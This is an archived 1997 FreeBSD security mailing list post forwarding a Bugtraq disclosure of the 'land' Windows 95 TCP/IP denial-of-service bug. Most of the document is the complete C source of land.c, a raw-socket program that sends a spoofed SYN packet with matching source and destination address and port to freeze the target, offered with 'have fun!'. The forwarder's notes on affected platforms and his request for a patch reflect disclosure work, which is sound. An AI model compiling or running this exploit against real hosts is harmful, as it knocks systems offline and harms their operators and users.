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Date:      Thu, 20 Nov 1997 16:01:45 -0500 (EST)
From:      Robert Watson <robert@cyrus.watson.org>
To:        freebsd-security@freebsd.org
Subject:   new TCP/IP bug in win95 (fwd)
Message-ID:  <Pine.BSF.3.96.971120160007.11884A-100000@cyrus.watson.org>
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By popular request, here is the exploit code.  I have been told that it
will not work *from* BSD machines, although it will work *on* BSD
machines.  I have seen the exploit code successfully compiled (and used)
on Linux machines against the following platforms:

SunOS (not Solaris -- the version we have seems to be fine)
HP/UX

Interestingly, some machines continue to respond to pings, so the kernel
is not completely in la-la land.  Have not tested this on BSD myself.
Would love a patch in -stable.

  Robert N Watson 

Junior, Logic+Computation, Carnegie Mellon University  http://www.cmu.edu/
Network Administrator, SafePort Network Services  http://www.safeport.com/
robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/

---------- Forwarded message ----------
Date: Thu, 20 Nov 1997 19:40:19 -0500
From: m3lt <meltman@LAGGED.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: new TCP/IP bug in win95

hi,

        i recently discovered a bug which freezes win95 boxes.  here's how
it works: send a spoofed packet with the SYN flag set from a host, on an open
port (such as 113 or 139), setting as source the SAME host and port
(ie: 10.0.0.1:139 to 10.0.0.1:139).  this will cause the win95 machine to lock
up.

        the piece of code included in this message does that, so...  have fun!

        i haven't tested this bug on other platforms, i don't have the
ressources.  please feel free to do so.

m3lt
meltman@lagged.net

--- snip snip -----------------------------------------------------------

/* land.c by m3lt, FLC
   crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>

struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct hostent * hoste;
        int sock;
        char buffer[40];
        struct iphdr * ipheader=(struct iphdr *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"land.c by m3lt, FLC\n");

        if(argc<3)
        {
                fprintf(stderr,"usage: %s IP port\n",argv[0]);
                return(-1);
        }

        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }

        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->version=4;
        ipheader->ihl=sizeof(struct iphdr)/4;
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->id=htons(0xF1C);
        ipheader->ttl=255;
        ipheader->protocol=IP_TCP;
        ipheader->saddr=sin.sin_addr.s_addr;
        ipheader->daddr=sin.sin_addr.s_addr;

        tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet\n");
                return(-1);
        }

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

        close(sock);
        return(0);
}

--- snip snip -----------------------------------------------------------

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